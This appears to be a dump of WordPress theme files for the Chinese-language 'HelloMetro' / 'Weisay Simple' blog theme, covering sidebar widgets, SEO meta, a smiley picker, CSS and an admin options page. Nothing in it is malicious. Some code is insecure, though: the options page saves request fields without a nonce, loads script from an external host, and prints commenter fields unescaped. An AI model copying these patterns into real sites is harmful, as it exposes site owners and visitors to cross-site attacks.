trunk/zyblog/wp-content/themes/HelloMetro/includes/lazyload.php
PHP
asf20
387
<div class="page_menu"> <ul id="menu-pages-menu" class="navi"> <li class="page_item page-item-0"><a href="<?php echo get_settings('Home'); ?>/" title="首页">首页</a></li> <?php wp_list_pages('depth=2&title_li='); ?> </ul></div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/pages_url.php
PHP
asf20
231
<?php $t1=$post->post_date; $t2=date("Y-m-d H:i:s"); $diff=(strtotime($t2)-strtotime($t1))/7200; if($diff<24){echo '<img src="'.get_bloginfo('template_directory').'/images/new.png" alt="较新的文章" title="较新的文章" />';} ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/new.php
PHP
asf20
251
<!--<h3><span>最新日志</span><span class="selected">热评日志</span><span>随机日志</span></h3> <div id="tab-content"> <ul class="hide"><?php $myposts = get_posts('numberposts=10&offset=0');foreach($myposts as $post) :?> <li><a href="<?php the_permalink(); ?>" rel="bookmark" title="详细阅读 <?php the_title_attribute(); ?>"><?php echo cut_str($post->post_title,37); ?></a></li> <?php endforeach; ?></ul> <ul><?php simple_get_most_viewed(); ?> </ul> <ul class="hide"><?php $myposts = get_posts('numberposts=10&orderby=rand');foreach($myposts as $post) :?> <li><a href="<?php the_permalink(); ?>" rel="bookmark" title="详细阅读 <?php the_title_attribute(); ?>"><?php echo cut_str($post->post_title,37); ?></a></li> <?php endforeach; ?></ul> </div> <li class="widget tab_box" id="tab_box_posts"> <ul class="tab_menu"> <li class="current">热门围观</li> <li>最新文章</li> <li>随机推荐</li> <div class="tab_content"> <div class> <ul class="tab_post_links"><?php $myposts = get_posts('numberposts=10&offset=0');foreach($myposts as $post) :?> <li><a href="<?php the_permalink(); ?>" rel="bookmark" title="详细阅读 <?php the_title_attribute(); ?>"><?php echo cut_str($post->post_title,37); ?></a></li><?php endforeach; ?> </ul> </div> <div class="hide"> <ul class="tab_post_links"> <li><?php simple_get_most_viewed(); ?></li> </ul> </div> <div class="hide"> <ul class="tab_post_links"><?php $myposts = get_posts('numberposts=10&orderby=rand');foreach($myposts as $post) :?> <li><a href="<?php the_permalink(); ?>" rel="bookmark" title="详细阅读 <?php the_title_attribute(); ?>"><?php echo cut_str($post->post_title,37); ?></a></li><?php endforeach; ?> </ul> </div> </div> </ul> </li>-->
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/r_tab.php
PHP
asf20
1,749
<div class="random"> <h2>随便看看</h2> <div class="random_c"> <ol type="A"> <?php query_posts(array('orderby' => 'rand', 'showposts' => 8, 'caller_get_posts' => 4)); if (have_posts()) : while (have_posts()) : the_post();?> <li><a href="<?php the_permalink() ?>" rel="bookmark" target="_blank" title="Permanent Link to <?php the_title(); ?>"><?php echo cut_str($post->post_title,52); ?></a></li> <?php endwhile;endif; ?> </ol> </div> </div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/random.php
PHP
asf20
472
<div class="thumbnail_box"> <div class="thumbnail"> <?php if ( get_post_meta($post->ID, 'thumbnail', true) ) : ?> <?php $image = get_post_meta($post->ID, 'thumbnail', true); ?> <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><img src="<?php echo $image; ?>" alt="<?php the_title(); ?>" title="<?php the_title(); ?>" /></a> <?php else: ?> <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><img src="<?php bloginfo('template_directory'); ?>/images/random/tb<?php echo rand(1,20)?>.jpg" alt="<?php the_title(); ?>" title="<?php the_title(); ?>" /></a> <?php endif; ?> </div></div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/thumbnail.php
PHP
asf20
659
<h3>最活跃的读者</h3> <ul> <?php $query="SELECT COUNT(comment_ID) AS cnt, comment_author, comment_author_url, comment_author_email FROM (SELECT * FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->posts.ID=$wpdb->comments.comment_post_ID) WHERE comment_date > date_sub( NOW(), INTERVAL 1 MONTH ) AND user_id='0' AND comment_author_email != '' AND post_password='' AND comment_approved='1' AND comment_type='') AS tempcmt GROUP BY comment_author_email ORDER BY cnt DESC LIMIT 15"; $wall = $wpdb->get_results($query); foreach ($wall as $comment) { if( $comment->comment_author_url ) $url = $comment->comment_author_url; else $url="#"; $r="rel='external nofollow'"; $tmp = "<li><a href='".$url."' ".$r." title='".$comment->comment_author." (留下".$comment->cnt."个脚印)'>".get_avatar($comment->comment_author_email, 38)."</a></li>"; $output .= $tmp; } echo $output ; ?> </ul>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/top_comment2.php
PHP
asf20
953
<?php if (get_option('swt_type') == 'Display') { ?> <h3>最新评论</h3> <div class="r_comment"> <ul> <?php global $wpdb; $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type,comment_author_url,comment_author_email, SUBSTRING(comment_content,1,16) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' AND user_id='0' ORDER BY comment_date_gmt DESC LIMIT 10"; $comments = $wpdb->get_results($sql); $output = $pre_HTML; foreach ($comments as $comment) { $a= get_bloginfo('wpurl') .'/avatar/'.md5(strtolower($comment->comment_author_email)).'.jpg'; $output .= "\n<li><img src='". $a ."' alt=\"$comment->comment_author\" class='avatar'/>$comment->comment_author:<br /><a href=\"" . get_permalink($comment->ID) ."#comment-" . $comment->comment_ID . "\" title=\"查看 " .$comment->post_title . "\">" . strip_tags($comment->com_excerpt)."</a></li>"; } $output .= $post_HTML; $output = convert_smilies($output); echo $output; ?> </ul> </div> <?php { echo ''; } ?> <?php } else { include(TEMPLATEPATH . '/includes/r_comment2.php'); } ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/r_comment.php
PHP
asf20
1,271
<?php if ( is_home() ) { ?><title><?php bloginfo('name'); ?> | <?php bloginfo('description'); ?></title><?php } ?> <?php if ( is_search() ) { ?><title>搜索结果 | <?php bloginfo('name'); ?></title><?php } ?> <?php if ( is_single() ) { ?><title><?php echo trim(wp_title('',0)); ?> | <?php bloginfo('name'); ?></title><?php } ?> <?php if ( is_page() ) { ?><title><?php echo trim(wp_title('',0)); ?> | <?php bloginfo('name'); ?></title><?php } ?> <?php if ( is_category() ) { ?><title><?php single_cat_title(); ?> | <?php bloginfo('name'); ?></title><?php } ?> <?php if ( is_month() ) { ?><title><?php the_time('F'); ?> | <?php bloginfo('name'); ?></title><?php } ?> <?php if (function_exists('is_tag')) { if ( is_tag() ) { ?><title><?php single_tag_title("", true); ?> | <?php bloginfo('name'); ?></title><?php } ?> <?php } ?> <?php if (!function_exists('utf8Substr')) { function utf8Substr($str, $from, $len) { return preg_replace('#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$from.'}'. '((?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$len.'}).*#s', '$1',$str); } } if ( is_single() ){ if ($post->post_excerpt) { $description = $post->post_excerpt; } else { if(preg_match('/<p>(.*)<\/p>/iU',trim(strip_tags($post->post_content,"<p>")),$result)){ $post_content = $result['1']; } else { $post_content_r = explode("\n",trim(strip_tags($post->post_content))); $post_content = $post_content_r['0']; } $description = utf8Substr($post_content,0,220); } $keywords = ""; $tags = wp_get_post_tags($post->ID); foreach ($tags as $tag ) { $keywords = $keywords . $tag->name . ","; } } ?> <?php echo "\n"; ?> <?php if ( is_single() ) { ?> <meta name="description" content="<?php echo trim($description); ?>" /> <meta name="keywords" content="<?php echo rtrim($keywords,','); ?>" /> <?php } ?> <?php if ( is_home() ) { ?> <meta name="description" content="<?php echo get_option('swt_description'); ?>" /> <meta name="keywords" content="<?php echo get_option('swt_keywords'); ?>" /> <?php } ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/seo.php
PHP
asf20
2,089
<div id="blogname"><a href="<?php echo get_option('home'); ?>"><?php bloginfo('name'); ?></a> <div id="blogtitle"><?php bloginfo('description'); ?></div></div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/logo.php
PHP
asf20
164
<h3>标签云集</h3> <?php wp_tag_cloud('smallest=12&largest=16&unit=px&number=65&orderby=count&order=RAND');?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/r_tags.php
PHP
asf20
113
<?php $backup = $post; $tags = wp_get_post_tags($post->ID); $tagIDs = array(); if ($tags) { echo '<ul class="related-post">'; $tagcount = count($tags); for ($i = 0; $i < $tagcount; $i++) { $tagIDs[$i] = $tags[$i]->term_id; } $args=array( 'tag__in' => $tagIDs, 'post__not_in' => array($post->ID), 'showposts'=>12, 'caller_get_posts'=>1 ); $my_query = new WP_Query($args); if( $my_query->have_posts() ) { while ($my_query->have_posts()) : $my_query->the_post(); ?> <li><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php echo cut_str($post->post_title,58); ?><?php comments_number(' ','(1)','(%)'); ?></a></li> <?php endwhile; echo '</ul>'; } else { ?> <!-- 没有相关文章显示随机文章 --> <div class="related-post"> <?php query_posts(array('orderby' => 'rand', 'showposts' => 12, 'caller_get_posts' => 4)); if (have_posts()) : while (have_posts()) : the_post();?> <li><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php echo cut_str($post->post_title,58); ?><?php comments_number(' ','(1)','(%)'); ?></a></li> <?php endwhile;endif; ?> </div> <?php } } $post = $backup; wp_reset_query(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/related.php
PHP
asf20
1,256
<h3>博客统计</h3> <ul> <li>日志总数:<?php $count_posts = wp_count_posts(); echo $published_posts = $count_posts->publish;?> 篇</li> <li>评论总数:<?php echo $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->comments where comment_author!='".(get_option('swt_user'))."'");?> 篇</li> <li>标签数量:<?php echo $count_tags = wp_count_terms('post_tag'); ?> 个</li> <li>链接总数:<?php $link = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->links WHERE link_visible = 'Y'"); echo $link; ?> 个</li> <li>建站日期:<?php echo get_option('swt_builddate'); ?></li> <li>运行天数:<?php echo floor((time()-strtotime(get_option('swt_builddate')))/86400); ?> 天</li> <li>最后更新:<?php $last = $wpdb->get_results("SELECT MAX(post_modified) AS MAX_m FROM $wpdb->posts WHERE (post_type = 'post' OR post_type = 'page') AND (post_status = 'publish' OR post_status = 'private')");$last = date('Y-n-j', strtotime($last[0]->MAX_m));echo $last; ?></li> </ul>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/r_statistics.php
PHP
asf20
978
.rm_wrap{ width:740px; } .rm_section{ border: 1px solid #ddd; height:100%; border-bottom:0; background:#fff; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; } .rm_opts label{ font-size:12px; font-weight:700; width:200px; display:block; float:left; } .rm_input { padding:20px 10px; border-bottom:1px solid #ddd; } .rm_opts small{ display:block; padding:4px; width:700px; font-size:12px; color:#666; line-height:20px; } .rm_opts input[type="text"], .rm_opts select{ width:280px; font-size:12px; padding:4px; color:#333; line-height:20px; background:#f3f3f3; } .rm_input input:focus, .rm_input textarea:focus{ background:#fff; } .rm_input textarea{ width:280px; height:60px; font-size:12px; padding:4px; color:#333; line-height:20px; background:#f3f3f3; } .rm_title h3 { cursor:pointer; font-size:14px; text-transform: uppercase; margin:0; font-weight:bold; color:#232323; float:left; width:80%; padding:14px 4px; } .rm_title{ cursor:pointer; border-bottom:1px solid #ddd; padding:0; height:50px; } .rm_title h3 img.inactive{ margin:-1px 10px 0 2px; width:19px; height:19px; background:url(collapse.png) no-repeat 0 0; float:left; } .rm_title h3 img.active{ margin:-1px 10px 0 2px; width:19px; height:19px; background:url(collapse.png) no-repeat 0 -19px; float:left; } .rm_title span.submit{ display:block; float:right; margin:0; padding:0; width:15%; padding:14px 0; } .clearfix{ clear:both; } .rm_table th, .rm_table td{ border:1px solid #bbb; padding:10px; text-align:center; } .rm_table th, .rm_table td.feature{ border-color:#888; } .kg { padding-top:100px; } .vright { float: right; } .wrap .version_tips { display: none; margin: 20px 0; padding: 5px; border: 1px solid #E6DB55; background: #FFFBCC; }
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/options/options.css
CSS
asf20
1,837
jQuery(document).ready(function(){ jQuery('.rm_options').slideUp(); jQuery('.rm_section h3').click(function(){ if(jQuery(this).parent().next('.rm_options').css('display')=='none') { jQuery(this).removeClass('inactive'); jQuery(this).addClass('active'); jQuery(this).children('img').removeClass('inactive'); jQuery(this).children('img').addClass('active'); } else { jQuery(this).removeClass('active'); jQuery(this).addClass('inactive'); jQuery(this).children('img').removeClass('active'); jQuery(this).children('img').addClass('inactive'); } jQuery(this).parent().next('.rm_options').slideToggle('slow'); }); });
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/options/rm_script.js
JavaScript
asf20
698
<?php $themename = "Weisay Simple"; $shortname = "swt"; $categories = get_categories('hide_empty=0&orderby=name'); $wp_cats = array(); foreach ($categories as $category_list ) { $wp_cats[$category_list->cat_ID] = $category_list->cat_name; } //Stylesheets Reader $alt_stylesheet_path = TEMPLATEPATH . '/css/'; $alt_stylesheets = array(); $alt_stylesheets[] = ''; if ( is_dir($alt_stylesheet_path) ) { if ($alt_stylesheet_dir = opendir($alt_stylesheet_path) ) { while ( ($alt_stylesheet_file = readdir($alt_stylesheet_dir)) !== false ) { if(stristr($alt_stylesheet_file, ".css") !== false) { $alt_stylesheets[] = $alt_stylesheet_file; } } } } $number_entries = array("Select a Number:","1","2","3","4","5","6","7","8","9","10", "12","14", "16", "18", "20" ); $options = array ( array( "name" => $themename." Options", "type" => "title"), //选择颜色风格 array( "name" => "选择颜色风格", "type" => "section"), array( "type" => "open"), array( "name" => "选择颜色风格", "desc" => "还有5种主题风格供选择", "id" => $shortname."_alt_stylesheet", "std" => "Select a CSS skin:", "type" => "select", "options" => $alt_stylesheets, "default_option_value" => "默认风格"), //首页布局设置开始 array( "type" => "close"), array( "name" => "是否开启头像缓存设置", "type" => "section"), array( "type" => "open"), array( "name" => "是否开启头像缓存", "desc" => "默认不开启", "id" => $shortname."_type", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), //各功能模块控制 array( "type" => "close"), array( "name" => "综合功能开关设置", "type" => "section"), array( "type" => "open"), array( "name" => "是否显示Logo图片", "desc" => "默认不显示", "id" => $shortname."_logo", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "是否显示缩略图", "desc" => "默认不显示", "id" => $shortname."_thumbnail", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "是否显示文章截图型缩略图", "desc" => "默认不显示(开启前确认“是否显示缩略图”已开启)", "id" => $shortname."_articlepic", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "是否显示表情", "desc" => "默认不显示", "id" => $shortname."_smiley", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "是否显示侧边读者墙", "desc" => "默认显示", "id" => $shortname."_wallreaders", "type" => "select", "std" => "Hide", "options" => array("Display", "Hide")), //SEO设置 array( "type" => "close"), array( "name" => "网站SEO设置(必填)", "type" => "section"), array( "type" => "open"), array( "name" => "描述(Description)", "desc" => "", "id" => $shortname."_description", "type" => "textarea", "std" => "输入你的网站描述,一般不超过200个字符"), array( "name" => "关键词(KeyWords)", "desc" => "", "id" => $shortname."_keywords", "type" => "textarea", "std" => "输入你的网站关键字,一般不超过100个字符"), //博客统计及链接设置 array( "type" => "close"), array( "name" => "侧边栏博客统计及链接设置(必填)", "type" => "section"), array( "type" => "open"), array( "name" => "用户名", "desc" => "", "id" => $shortname."_user", "type" => "textarea", "std" => ""), array( "name" => "建站日期", "desc" => "", "id" => $shortname."_builddate", "type" => "textarea", "std" => "2007-04-22"), array( "name" => "首页展示友情链接", "desc" => "", "id" => $shortname."_links", "type" => "textarea", "std" => ""), //网站统计、备案号 array( "type" => "close"), array( "name" => "网站统计代码及备案号设置", "type" => "section"), array( "type" => "open"), array( "name" => "是否显示网站统计", "desc" => "默认不显示", "id" => $shortname."_tj", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "输入你的网站统计代码", "desc" => "", "id" => $shortname."_tjcode", "type" => "textarea", "std" => ""), array( "name" => "是否显示备案号", "desc" => "默认不显示", "id" => $shortname."_beian", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "输入您的备案号", "desc" => "", "id" => $shortname."_beianhao", "type" => "textarea", "std" => "苏ICP备10033488号"), //微博以及订阅设置 array( "type" => "close"), array( "name" => "微博以及订阅设置", "type" => "section"), array( "type" => "open"), array( "name" => "是否显示腾讯微博", "desc" => "默认不显示", "id" => $shortname."_tqq", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "输入腾讯微博地址", "desc" => "", "id" => $shortname."_tqqurl", "type" => "textarea", "std" => "http://t.qq.com/weisayok"), array( "name" => "是否显示新浪微博", "desc" => "默认不显示", "id" => $shortname."_tsina", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "输入新浪微博地址", "desc" => "", "id" => $shortname."_tsinaurl", "type" => "textarea", "std" => "http://weibo.com/weisay"), array( "name" => "是否显示用QQ邮箱订阅博客", "desc" => "默认不显示", "id" => $shortname."_mailqq", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), //广告设置 array( "type" => "close"), array( "name" => "博客广告设置", "type" => "section"), array( "type" => "open"), array( "name" => "是否显示侧边栏广告", "desc" => "默认不显示", "id" => $shortname."_ada", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "输入侧边栏广告代码(250*250)", "desc" => "", "id" => $shortname."_adacode", "type" => "textarea", "std" => ""), array( "name" => "是否显示文章右侧广告", "desc" => "默认不显示", "id" => $shortname."_adb", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "输入文章右侧广告代码(250*250)", "desc" => "", "id" => $shortname."_adbcode", "type" => "textarea", "std" => ""), array( "name" => "是否显示文章底部广告", "desc" => "默认不显示", "id" => $shortname."_adc", "type" => "select", "std" => "Display", "options" => array("Hide", "Display")), array( "name" => "输入文章底部广告代码(宽度需小于620)", "desc" => "", "id" => $shortname."_adccode", "type" => "textarea", "std" => ""), array( "type" => "close") ); function mytheme_add_admin() { global $themename, $shortname, $options; if ( $_GET['page'] == basename(__FILE__) ) { if ( 'save' == $_REQUEST['action'] ) { foreach ($options as $value) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } foreach ($options as $value) { if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } } header("Location: admin.php?page=theme_options.php&saved=true"); die; } else if( 'reset' == $_REQUEST['action'] ) { foreach ($options as $value) { delete_option( $value['id'] ); } header("Location: admin.php?page=theme_options.php&reset=true"); die; } } add_theme_page($themename." Options", "当前主题设置", 'edit_themes', basename(__FILE__), 'mytheme_admin'); } function mytheme_add_init() { $file_dir=get_bloginfo('template_directory'); wp_enqueue_style("functions", $file_dir."/includes/options/options.css", false, "1.0", "all"); wp_enqueue_script("rm_script", $file_dir."/includes/options/rm_script.js", false, "1.0"); } function mytheme_admin() { global $themename, $shortname, $options; $i=0; if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' 主题设置已保存</strong></p></div>'; if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' 主题已重新设置</strong></p></div>'; ?> <script type="text/javascript" src="http://sharepic.googlecode.com/files/weisaysimple_latest_version.js"></script> <script type="text/javascript"> var _version = '<?php $theme_data = get_theme_data(dirname(__FILE__) . '/../style.css');echo $theme_data['Version'];?>'; jQuery(document).ready(function(){ jQuery("span.version_number").text(weisaytheme_latest_version); jQuery("a.downloand_add").attr("href",downloand_add); jQuery("a.author_add").attr("href",author_add); if(_version < weisaytheme_latest_version ){ jQuery(".version_tips").fadeIn(1000); } else { jQuery(".version_tips").hide(); }; jQuery(".close_version_tips").click(function(){ jQuery(this).parent().fadeOut(1000); }); jQuery(".fl_cbradio_op:checked").each(function() { jQuery(this).parent().parent().children().eq(3).show(); }); jQuery(".fl_cbradio_cl:checked").each(function() { jQuery(this).parent().parent().children().eq(3).hide(); }); jQuery(".fl_cbradio_cl").click(function(){ jQuery(this).parent().parent().children().eq(3).slideUp(); }); jQuery(".fl_cbradio_op").click(function(){ jQuery(this).parent().parent().children().eq(3).slideDown(); }); jQuery(".theme_options_content > div:not(:first)").hide(); jQuery(".theme_options_tab li").each(function(index){ jQuery(this).click( function(){ jQuery(".theme_options_tab li.current").removeClass("current"); jQuery(this).addClass("current"); jQuery(".theme_options_content > div:visible").hide(); jQuery(".theme_options_content > div:eq(" + index + ")").show(); }) }) }) </script> <div class="wrap rm_wrap"> <h2><?php echo $themename; ?> 设置</h2> <div class="version_tips">Weisay Simple 版本 <span class="version_number"></span> 可用。<a href="" class="downloand_add">点击这里</a> 下载最新版本 或 <a href="" class="author_add" target="_blank">访问此主题更新页面</a><span class="vright close_version_tips">关闭</span></div><div class="clear"></div> <div class="rm_opts"> <div class="rm_opts"> <form method="post"> <?php foreach ($options as $value) { switch ( $value['type'] ) { case "open": ?> <?php break; case "close": ?> </div> </div> <br /> <?php break; case "title": ?> <?php break; case 'text': ?> <div class="rm_input rm_text"> <label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label> <input name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?>" /> <small><?php echo $value['desc']; ?></small><div class="clearfix"></div> </div> <?php break; case 'textarea': ?> <div class="rm_input rm_textarea"> <label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label> <textarea name="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" cols="" rows=""><?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?></textarea> <small><?php echo $value['desc']; ?></small><div class="clearfix"></div> </div> <?php break; case 'select': ?> <div class="rm_input rm_select"> <label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label> <select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>"> <?php foreach ($value['options'] as $option) { ?> <option value="<?php echo $option;?>" <?php if (get_settings( $value['id'] ) == $option) { echo 'selected="selected"'; } ?>> <?php if ((empty($option) || $option == '' ) && isset($value['default_option_value'])) { echo $value['default_option_value']; } else { echo $option; }?> </option><?php } ?> </select> <small><?php echo $value['desc']; ?></small><div class="clearfix"></div> </div> <?php break; case "checkbox": ?> <div class="rm_input rm_checkbox"> <label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label> <?php if(get_option($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = "";} ?> <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> /> <small><?php echo $value['desc']; ?></small><div class="clearfix"></div> </div> <?php break; case "section": $i++; ?> <div class="rm_section"> <div class="rm_title"><h3><img src="<?php bloginfo('template_directory')?>/includes/options/clear.png" class="inactive" alt="""><?php echo $value['name']; ?></h3><span class="submit"><input name="save<?php echo $i; ?>" type="submit" value="保存设置" /> </span><div class="clearfix"></div></div> <div class="rm_options"> <?php break; } } ?> <input type="hidden" name="action" value="save" /> </form> <form method="post"> <p class="submit"> <input name="reset" type="submit" value="恢复默认" /> <font color=#ff0000>提示:此按钮将恢复主题初始状态,您的所有设置将消失!</font> <input type="hidden" name="action" value="reset" /> <span </p> </form> </div> <div class="kg"></div> </div> <?php } ?> <?php function mytheme_wp_head() { $stylesheet = get_option('swt_alt_stylesheet'); if($stylesheet != ''){?> <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/<?php echo $stylesheet; ?>" /> <?php } } add_action('wp_head', 'mytheme_wp_head'); add_action('admin_init', 'mytheme_add_init'); add_action('admin_menu', 'mytheme_add_admin'); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/theme_options.php
PHP
asf20
15,089
<?php if (get_option('swt_smiley') == 'Display') { ?> <script type="text/javascript"> /* <![CDATA[ */ function grin(tag) { var myField; tag = ' ' + tag + ' '; if (document.getElementById('comment') && document.getElementById('comment').type == 'textarea') { myField = document.getElementById('comment'); } else { return false; } if (document.selection) { myField.focus(); sel = document.selection.createRange(); sel.text = tag; myField.focus(); } else if (myField.selectionStart || myField.selectionStart == '0') { var startPos = myField.selectionStart; var endPos = myField.selectionEnd; var cursorPos = endPos; myField.value = myField.value.substring(0, startPos) + tag + myField.value.substring(endPos, myField.value.length); cursorPos += tag.length; myField.focus(); myField.selectionStart = cursorPos; myField.selectionEnd = cursorPos; } else { myField.value += tag; myField.focus(); } } /* ]]> */ </script> <a href="javascript:grin(':?:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_question.gif" alt="" /></a> <a href="javascript:grin(':razz:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_razz.gif" alt="" /></a> <a href="javascript:grin(':sad:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_sad.gif" alt="" /></a> <a href="javascript:grin(':evil:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_evil.gif" alt="" /></a> <a href="javascript:grin(':!:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_exclaim.gif" alt="" /></a> <a href="javascript:grin(':smile:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_smile.gif" alt="" /></a> <a href="javascript:grin(':oops:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_redface.gif" alt="" /></a> <a href="javascript:grin(':grin:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_biggrin.gif" alt="" /></a> <a href="javascript:grin(':eek:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_surprised.gif" alt="" /></a> <a href="javascript:grin(':shock:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_eek.gif" alt="" /></a> <a href="javascript:grin(':???:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_confused.gif" alt="" /></a> <a href="javascript:grin(':cool:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_cool.gif" alt="" /></a> <a href="javascript:grin(':lol:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_lol.gif" alt="" /></a> <a href="javascript:grin(':mad:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_mad.gif" alt="" /></a> <a href="javascript:grin(':twisted:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_twisted.gif" alt="" /></a> <a href="javascript:grin(':roll:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_rolleyes.gif" alt="" /></a> <a href="javascript:grin(':wink:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_wink.gif" alt="" /></a> <a href="javascript:grin(':idea:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_idea.gif" alt="" /></a> <a href="javascript:grin(':arrow:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_arrow.gif" alt="" /></a> <a href="javascript:grin(':neutral:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_neutral.gif" alt="" /></a> <a href="javascript:grin(':cry:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_cry.gif" alt="" /></a> <a href="javascript:grin(':mrgreen:')"><img src="<?php bloginfo('url'); ?>/wp-includes/images/smilies/icon_mrgreen.gif" alt="" /></a> <br /> <?php { echo ''; } ?> <?php } else { } ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/smiley.php
PHP
asf20
3,993
<?php if (get_option('swt_type') == 'Display') { ?> <h3>最活跃的读者</h3> <ul> <?php $counts = $wpdb->get_results("SELECT COUNT(comment_ID) AS cnt, comment_author, comment_author_url, comment_author_email FROM (SELECT * FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->posts.ID=$wpdb->comments.comment_post_ID) WHERE comment_date > date_sub( NOW(), INTERVAL 1 MONTH ) AND user_id='0' AND comment_author_email != '' AND post_password='' AND comment_approved='1' AND comment_type='') AS tempcmt GROUP BY comment_author_email ORDER BY cnt DESC LIMIT 15"); foreach ($counts as $count) { $a = get_bloginfo('wpurl') . '/avatar/' . md5(strtolower($count->comment_author_email)) . '.jpg'; $c_url = $count->comment_author_url; $mostactive .= '<li class="mostactive">' . '<a href="'. $c_url . '" title="' . $count->comment_author . ' (留下'. $count->cnt . '个脚印)" target="_blank" rel="external nofollow"><img src="' . $a . '" alt="' . $count->comment_author . '" class="avatar" /></a></li>'; } echo $mostactive; ?> </ul> <?php { echo ''; } ?> <?php } else { include(TEMPLATEPATH . '/includes/top_comment2.php'); } ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/top_comment.php
PHP
asf20
1,139
